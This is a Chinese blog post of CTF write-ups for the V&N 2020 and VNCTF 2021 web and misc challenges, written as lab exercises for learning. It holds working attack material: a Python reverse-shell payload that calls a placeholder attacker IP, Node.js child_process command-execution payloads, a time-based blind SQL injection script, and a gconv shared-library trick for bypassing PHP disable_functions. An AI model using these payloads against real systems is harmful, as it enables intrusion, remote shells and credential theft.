已发生的比赛刷题

v&n 2020 (环境不好弄,看看别人的题解)

https://www.zhaoj.in/read-6407.html

CHECKIN

from flask import Flask, request
import os
app = Flask(__name__)
 
flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
#     return flag
## want flag? naive!
 
# You will never find the thing you want:) I think
@app.route('/shell')  #shell可以执行系统命令
def shell():
    os.system("rm -f flag.txt")  # 执行shell函数时会删除flag文件
    exec_cmd = request.args.get('c')  # 利用参数c来写入系统命令
    os.system(exec_cmd)
    return "1"
 
@app.route('/')
def source():
    return open("app.py","r").read()
 
if __name__ == "__main__":
    app.run(host='0.0.0.0')

程序在最开始打开了 flag 文件,在 linux 系统中如果一个程序打开了一个文件没有关闭,即便从外部(上文是利用rm -f flag.txt)删除之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd,通过这个我们即可得到被删除文件的内容。

简而言之就是没有关闭文件,能通过/proc/[pid]/fd/xxxx 来查看被删除的文件内容

/proc/[pid]/fd 这个目录里包含了进程打开文件的情况,pid就是进程记录的打开文件的序号.

/shell?c=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的ip",8089));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);%27

python反弹shell

image-20231023171623345

小附带一个知识

$rmf = function($file){
    system('rm -f -- '.escapeshellarg($file));
};

PHP 调用 system 的时候会启用一个新进程,而该进程的 cmdline 则正是由 rm -f -- 在 sh 中构成的符合 \0 格式标准的字符串

/proc/sys/kernel/ns_last_pid 这个文件会记录最近一次进程使用的 PID

TimeTravel

版本php:5.6.23 (关键)

<?php
error_reporting(0);
require __DIR__ . '/vendor/autoload.php';
 
use GuzzleHttp\Client;
 
highlight_file(__FILE__);
 
//若返回内容中有success即可读取flag
if(isset($_GET['flag'])) {
    $client = new Client();
    $response = $client->get('http://127.0.0.1:5000/api/eligible');
    $content = $response->getBody();
    $data = json_decode($content, TRUE);
    if($data['success'] === true) {    
      echo system('/readflag');
    }
}
 //查看文件内容
if(isset($_GET['file'])) {
    highlight_file($_GET['file']);
}

if(isset($_GET['phpinfo'])) {
    phpinfo();
}

image-20231023172600164

image-20231023172615615

解法 HTTPoxy漏洞

所有以CGI或Fastcgi运行的程序理论上都受到影响

在CGI(RFC 3875)的模式的时候, 会把请求中的Header, 加上HTTP_ 前缀, 注册为环境变量, 所以如果你在Header中发送一个Proxy:xxxxxx, 那么PHP就会把他注册为HTTP_PROXY环境变量, 于是getenv(“HTTP_PROXY“)就变成可被控制的了

image-20231023172954085

image-20231023173050175

image-20231023174907255

HappyCTFd

CVE-2020-7245

当时ctfd的1day漏洞

通过分析他是如何修复的,逆向思考出利用方法

前在验证的时候没有把用户名两头的空格给去掉,直接使用拿到的参数进行比较

在保存的时候,却是保存的去掉空格之后的数据。 name = name.strip()

利用过程

注册 ”空格+管理员“

image-20231023174517818

image-20231023174526872

image-20231023174539645

image-20231023174556692

EasySpringMVC

。。。自己先大致看了一遍,但要是细看的话很多地方没看懂,也漏看了关键部分

ClentInfoFilter 类,用于从 cookie 里进行反序列化的拦截器。

第一次访问时会序列化一个新的 ClientInfo 对象,用户名 Anonymous 用户组 normal,然后 base64 之后存入 cinfo cookie。再次访问时利用这个 cookie 反序列化为之前的对象。

然后来看看 Controller 代码逻辑,需要用户名为 admin 用户组为 webmanager。

然后自己伪造

image-20231023182241410

有了admin的身份后,尝试读取文件和文件上传是否存在漏洞

image-20231023182443294

image-20231023182457651

答案是权限不足

那么继续来看最后一个漏洞点,就是不反序列化 ClientInfo 了,尝试反序列化 Tools 类,其中有一个命令执行点。

image-20231023182557807

如果目标类中没有定义私有的writeObject或readObject方法,那么序列化和反序列化的时候将调用默认的方法来根据目标类中的属性来进行序列化和反序列化

而如果目标类中定义了私有的writeObject或readObject方法,那么序列化和反序列化的时候将调用目标类指定的writeObject或readObject方法来实现。
image-20231023182813275

修改为String数组,并增加get、set方法

image-20231023182852817

覆盖即可反弹shell

misc (多了解一些吧,反正也不会)

拉胯的三条命令

nmap流量分析,查看开放端口

SYN建立连接 ACK响应

找同时有 SYN,ACK的端口

ML的第一步

机器学习

给出七十组x,y ,对函数进行拟合

然后回答出x所对应的y的值

import re
import numpy as np 
from pwn import *

def process(data):
    x_data = []
    y_data = []
    for i in data:
        z = i.split(',')
        x = float(z[0][2:])
        x_data.append(x)
        y = float(z[1][2:-2])
        y_data.append(y)
    return (np.array(x_data),np.array(y_data))

if __name__ == '__main__':
    p = remote('node4.buuoj.cn',29773)

    print(p.recvline())
    p.sendline('H3rmesk1t')

    for i in range(4):
        print(p.recvline())
    p.sendline()

    data = []
    for i in range(70):
        data.append(p.recvline())

    (x,y) = process(data)
    W = np.poly1d(np.polyfit(x,y,10))
    print(W)

    p.recvline()
    p.sendline()

    for i in range(10):
        information = p.recvline()
        xi = float(re.compile(b'When x=([0-9\.]+),y=?').findall(information)[0])
        p.sendline(str(W(xi)))
        print(xi,W(xi))

    p.interactive()

内存取证

pslist 找到

notepad.exe pid 3552
TrueCrypt.exe pid 3364(磁盘加密工具)
mspaint.exe pid 2648(画图工具)

-f mem.raw --profile=Win7SP1x86_23418 memdump -p 3552 -D ./

image-20231023205141419

notepad分析找到下载链接

image-20231023205230889

mspaint.exe利用GIMP 把图像偏移对其

最后是TrueCrypt.exe使用EFDD进行挂载

image-20231023205349780

image-20231023205523512

image-20231023205537572

image-20231023205556752

最后使用VeraCrypt

image-20231023205746871

Final Game

得到一个vmdk镜像文件和一个加密的压缩包

压缩包注释

Stupid mortal, you must enter the eighth circle of Hell to get the Tip of god。'=B;:?8\<;:921Uv.3,1*No'&J*)iF~%$#zy?w|{zsr8pun4rTji/PONMLKJIHGFEDCBA@?>=<;:987SRQ3IHMFKDCBf)('&%$#"!~}|{zyxwvutsrqpon,+*)i'&%${zy?}|{t:xwp6Wsrkj0QPONMLKJIHGFEDCBA@VUTYXWVUTSRKoON0LKDCgfS

the eighth circle of Hell 神曲 Malebolge

Malbolge - interpreter online (doleczek.pl)

运行得到%&^&#@()(*:";'/,,

解密压缩包得到提示

神说:要有ELF!!!
神说:要有WORD!!!
神说:要有NTFS!!!
神说:要有PDF!!!
神说:要有OSZ!!!

地狱 -- 炼狱 -- 天堂

7z打开vmdk,按时间排序,发现

Windows7_by_Lamber.vmdk\Users\lenovo\Documents\Purgatory.zip Windows7_by_Lamber.vmdk\Users\lenovo\Desktop\Door.png Windows7_by_Lamber.vmdk\Users\lenovo\Music\paradise.zip Windows7_by_Lamber.vmdk\Users\lenovo\Downloads\proverbs.pdf

dir /r,可以看到在Door.png这个文件后隐藏有exe文件,用工具ntfsstreameditor将其提取出来,得到Purgatory.exe这个文件

执行得到一句话

请将该文件放入炼狱中执行(能进入天堂的是Mr.png,Mrs.jpg只能下地狱)

需要与Windows7_by_Lamber.vmdk\Program Files (x86)\Linux\Purgatorio文件放在一起运行

Purgatorio这个单词的意思,正是意大利语的炼狱

运行得到

智慧之神evoA说,你需要修复ELF

使用010editor修改Purgatorio文件头

image-20231023212419041

image-20231023212430993

输入evoA

image-20231023212457530

30e308e8e7122579b8ea2fae774d1999解md5也可以得到evoA

pdfkG@0zl_3ptmVPfa7LHuB8rs#cRdi$,为pdf开头,推测为此pdf文件的密码,输入后打开了pdf文件

image-20231023212544665

键盘密码

The password of word is capital(PROVERBS OF GOD)

得到docm文件,百度可知docm文件为一种包含宏或启用了宏的文档,用word打开后查看宏:ALT+F8,可以看到有名为LargeSB的宏(大写字母即为LSB

运行宏得到大量base64字符串 (一眼base64隐写)

Hidden1nWord_

再看word文档的内容,为大量的16进制,FF D8 FF E0 0D 0A 1A 0A开头,但不是FF D9结尾,而89 50 4E 47 0D 0A 1A 0A又是PNG的文件头,所以推测其为被修改了文件头的PNG文件,将文件头改回来后python写入文件,得到PNG图片

推测该PNG为需要密钥的LSB隐写,密钥为Hidden1nWord_,用脚本解密,得到内容如下

The password of paradise:Bliss_Syc!!!!

解压后得到osz文件,百度可知这种文件和游戏osu!相关,下载游戏后用游戏打开这个osz文件,发现是个可以玩的图,将这个osz文件拖进kali中,发现可以解压,解压后可以看到一个readme.jpg的文件,strings查看这个文件,在最后可以看到一些可读的数字和字符

in,map.flag,is :0036112S0038362y0042112c0055162{0110912
0118712
0135512
0142112
0158163
0200412
0203862
0216312
0219762
0225312
0231312
0251862
0302512
0312112
0318412
0329628
...

每一行数字都对应一个时间,这个时间在游戏的图中对应了flag的一个字符,比如给出的例子,在这些数字的结尾也给了相应提示:Traversing.Time

v&n 2021 ()

[VNCTF2021WEB]_s52g50pytxr6.xyz-CSDN博客 Y4tacker师傅太强了

EZ_game

修改数值开挂硬玩通关即可

修改 winTime.endtime=任意 即可

中间有很明显的一长串 [sojson.v4]的加密,拿到在线网站解就行

在控制台的话 要先把开头结尾的sojson.v4去掉

image-20231023200739259

naive

import express from "express";
import bindings from "bindings";
import { fileURLToPath } from 'url'
import path from "path";

import pkg from 'expression-eval';
const { eval: eval_, parse } = pkg;

const addon = bindings("addon");

const file = fileURLToPath(import.meta.url);

const app = express();
app.use(express.urlencoded({ extended: true }));

app.use(express.static("static"));

app.use("/eval", (req, res) => {
  const e = req.body.e;
  const code = req.body.code;
  if (!e || !code) {
    res.send("wrong?");
    return;
  }
  try {
    if (addon.verify(code)) {
      res.send(String(eval_(parse(e))));
    } else {
      res.send("wrong?");
    }
  } catch (e) {
    console.log(e)
    res.send("wrong?");
  }
});

app.use("/source", (req, res) => {
  let p = req.query.path || file;
  p = path.resolve(path.dirname(file), p);
  if (p.includes("flag")) {
    res.send("no flag!");
  } else {
    res.sendFile(p);
  }
});

app.use((err, req, res, next) => {
  console.log(err)
  res.redirect("index.html");
});

app.listen(process.env.PORT || 80);

任意文件读取、命令执行(但要通过addon.verify(code)

image-20231023224558055

可以看出bindings(“addon”);会引入build/Release/addon.node里面的包,因此我们配合上面文件下载,访问

source?path=../build/Release/addon.node

据说逆向得到yoshino-s_want_a_gf,qq1735439536

利用 res.send(String(eval_(parse(e))));去实现任意命令的执行了,

(1).constructor.constructor可以拿到Funtion从而实现自定义匿名函数(没怎么做过nodejs的题,好像都是两次constructor拿到Function即可)

常规payload:

code=yoshino-s_want_a_gf,qq1735439536&e=(1).constructor.constructor("return require('child_process').execSync(\"whoami\").toString();})")();

后来几经波折发现在package.json/source?path=../package.json当中有一行"type": "module"这也是本题的关键所在

image-20231023225409500

当type字段指定值为module则采用ESModule规范

ES6不是CommonJS,因此不可以使用require导入,这就是前面代码执行异常的原因

image-20231023225646835

image-20231023225843143

动态加载模块

code=yoshino-s_want_a_gf,qq1735439536&e=(1).constructor.constructor("return import('child_process').then((module)=>{module.execSync(\"whoami\").toString();})")();

我们知道nodejs支持设置静态目录从而实现直接访问,在源码当中我们发现

app.use(express.static("static"));

因此把结果写入static目录下

code=yoshino-s_want_a_gf,qq1735439536&e=(1).constructor.constructor("return+import('child_process').then((module)=>{module.execSync(\"cat ../flag>> ./static/4.js\");})")();

最后访问

http://1adff864-6d0f-49d3-8127-db3e6f1b1167.node3.buuoj.cn/4.js

小结

const addon = bindings("addon");

会引入../build/Release/addon.node

/source?path=../package.json

查看package.json发现是ES6规范,使用import进行动态加载模块

realezjvav

登陆页面,在password使用笛卡尔积进行盲注

(select * from A,B)利用数据过多产生延时的效果

import requests
import time
url = "http://192.168.0.104:8080/user/login"
i = 0
flag = ""
while True :
    i += 1
    head = 32
    tail = 126
    while head < tail :
        mid = head + tail >> 1
        payload = "a' or (if(ascii(substr(password,%d,1))>%d,(SELECT/**/count(*)/**/FROM/**/information_schema.tables/**/A,information_schema.columns/**/B,information_schema.tables/**/C),1))#" % (i,mid)
        data = {"username":"admin" , "password" : payload}   
        start_time = time.time()
        r = requests.post(url,data = data)
        print(data['password'])
        end_time = time.time()
        if end_time - start_time > 3:
            head = mid + 1
        else :
            tail = mid
    if head!=32:
        flag += chr(head)
        print(flag)
    else :
        break

最后得到密码是no_0ne_kn0w_th1s (运行了一下,是真的难)
登陆后创建角色以后,发现隐藏路由searchimage路由可以任意文件读取,因为是spring项目所以我们尝试去读取pom.xml,拼接searchimage?img=../../../../../pom.xml (一个不多、一个不少)

能找到fastjson1.2.27的依赖,但是要用1.2.47的绕过来打

/create路由有

roleJson={"name":"123"}

配合看到的依赖,就是fastjson反序列化

直接jdbcrowsetImpl

Easy_laravel

。。。简直是神仙题目

Laravel Debug Rce 由于源码中对一些已公开的pop链做了修改。并且php版本为7.4没有assert、web目录只有session和log目录有写权限。需要自己挖一个eval的POP链。

image-20231024172058873

漏洞的路由

image-20231024172410335

写一个phar在logs下,一直调用phar反序列化。eval执行代码

image-20231024172251893

image-20231024172518027

调用phpinfo()发现有disable_funciton和open_basedir,发现禁用其他函数。但是可以用global协议查看根目录

image-20231024172750973

原生类遍历根目录

发现有/readflag。可以用伪协议触发iconv bypass disable_function

生成so

#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
  system("/readflag > /tmp/flag");
  exit(0);
}
gcc payload.c -o payload.so -shared -fPI

image-20231024172948143

file_put_contents('php://filter/write=convert.iconv.payload.utf-8/resource=/tmp/guoke',123);
file_get_contents('/tmp/file');

image-20231024173115630

misc

冰冰好像藏着秘密

FFT (傅里叶变换)

import numpy as np
import cv2 as cv
from matplotlib import pyplot as plt
img = cv.imread('1.bmp', 0)
f = np.fft.fft2(img)
logf = 20*np.log(np.abs(f))
plt.imshow(logf, 'gray')
plt.show()

但是图片无法看清

interesting_fishing

附件拿到注释.txt 和bin文件

crazyman_army是某安全公司的研究人员
这天他的其邮箱里发现了一封奇怪的邮件 
你能帮助他找到其隐藏的信息吗

注意:
附件是第一部分的flag
图片是第二部分的flag
最后flag为 第一部分+第二部分

hint:powershell解码后的字符可能存在不可读的情况 那并不是解码错误

根据提示修改bin文件后缀为eml文件,并用foxmail打开

image-20231024203239673

把rar和图片都保存下来

ThisIsSecret.jpg 猜测outsecret, 无密码解出后半段flag

_fr0m_l@z@RuS}

rar在myproject\giveyourflag\giveyourflag\x64\Debug目录下有Browse.VC.db

但解压下来后不见,

关闭image-20231024203704327

打开

$encodestring = "XAB1AC0ANgA1ADQAMwAyAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMgA0AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQANwA4AD8AXAB1AC0ANgA1ADQAOAA5AD8AXAB1AC0ANgA1ADQAOAA5AD8AXAB1AC0ANgA1ADQAMQA4AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMwA0AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA1AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAAzAD8AXAB1AC0ANgA1ADQAOAAxAD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAOAAyAD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA1AD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA0AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAwAD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMgA3AD8AXAB1AC0ANgA1ADQAMQA1AD8AXAB1AC0ANgA1ADQAMgAzAD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMQA5AD8AXAB1AC0ANgA1ADQAMwA2AD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA3AD8AXAB1AC0ANgA1ADQAOAA5AD8AXAB1AC0ANgA1ADQANQA2AD8AXAB1AC0ANgA1ADQAMQA1AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAMQA1AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA1AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMQA3AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMwA0AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA1AD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMwA2AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA3AD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMwA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQANQA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMwAyAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQANgAxAD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA1AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQANgA5AD8AXAB1AC0ANgA1ADQANQA3AD8AXAB1AC0ANgA1ADQANQAwAD8AXAB1AC0ANgA1ADQANgAzAD8AXAB1AC0ANgA1ADQANgA4AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQANwA5AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgA0AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgAyAD8A"
$bytes  = [System.Convert]::FromBase64String($string);
$decoded = [System.Text.Encoding]::UTF8.GetString($bytes); 
echo $decoded

解密得到

\u-65432?\u-65420?\u-65420?\u-65424?\u-65421?\u-65478?\u-65489?\u-65489?\u-65418?\u-65426?\u-65437?\u-65420?\u-65434?\u-65491?\u-65486?\u-65487?\u-65485?\u-65491?\u-65487?\u-65486?\u-65483?\u-65481?\u-65488?\u-65482?\u-65487?\u-65487?\u-65486?\u-65485?\u-65490?\u-65437?\u-65425?\u-65421?\u-65490?\u-65439?\u-65424?\u-65491?\u-65426?\u-65439?\u-65426?\u-65430?\u-65431?\u-65426?\u-65433?\u-65490?\u-65427?\u-65415?\u-65423?\u-65437?\u-65428?\u-65425?\u-65419?\u-65436?\u-65490?\u-65437?\u-65425?\u-65427?\u-65489?\u-65456?\u-65415?\u-65425?\u-65426?\u-65433?\u-65415?\u-65439?\u-65426?\u-65433?\u-65499?\u-65486?\u-65488?\u-65421?\u-65420?\u-65425?\u-65422?\u-65435?\u-65421?\u-65499?\u-65486?\u-65488?\u-65428?\u-65425?\u-65417?\u-65499?\u-65486?\u-65488?\u-65425?\u-65426?\u-65499?\u-65486?\u-65488?\u-65434?\u-65425?\u-65422?\u-65435?\u-65431?\u-65433?\u-65426?\u-65499?\u-65486?\u-65488?\u-65433?\u-65425?\u-65425?\u-65436?\u-65421?\u-65499?\u-65486?\u-65488?\u-65439?\u-65427?\u-65431?\u-65436?\u-65499?\u-65486?\u-65488?\u-65458?\u-65425?\u-65422?\u-65420?\u-65432?\u-65499?\u-65486?\u-65488?\u-65461?\u-65425?\u-65422?\u-65435?\u-65439?\u-65426?\u-65499?\u-65486?\u-65488?\u-65469?\u-65457?\u-65450?\u-65463?\u-65468?\u-65491?\u-65487?\u-65479?\u-65499?\u-65486?\u-65488?\u-65424?\u-65439?\u-65422?\u-65439?\u-65426?\u-65425?\u-65431?\u-65439?\u-65490?\u-65422?\u-65439?\u-65422?

RTF格式,用65536减去之后转ascii

https://vnctf-213-1257061123.cos.ap-nanjing-myqcloud.com/Pyongyang%20stores%20low%20on%20foreign%20goods%20amid%20North%20Korean%20COVID-19%20paranoia.rar

RTF格式中使用\uN?表示一个unciode字符。\u后跟一个带符号的16位十进制整数值接一个占位符,用?表示。N大于32767的话,则表示为负数。解混淆示例如下:

L”h” == 0x0068 == -(-0x0068) == -(0xFFFF+1-0x68) == -65432=\u-65432?是个链接,下载打开看到提示四位数字

工具爆破 9705 Accent RAR Password Recovery

hashcat -m 13000 -a 3 --force '$rar5$16$1349cb834c70bf27bb4e48bb3fbe6975$15$ca4a3bc58278b04d9fba4d7d52acb196$8$56245cd11e4a1c2e' '?d?d?d?d'

解压出来word文件

发现文件是zip文件头

进入word目录找到,hideinfo.xml

发现是零宽隐写

Do_you_like_Rhythm_Doctor

下载节奏医生编辑器

加载文件,

左下角调到第二个,发现有8个一组,矩形(square)是零,波形是1

一行一行读取即可


已发生的比赛刷题
https://zer0peach.github.io/2023/10/23/已发生的比赛刷题/
作者
Zer0peach
发布于
2023年10月23日
许可协议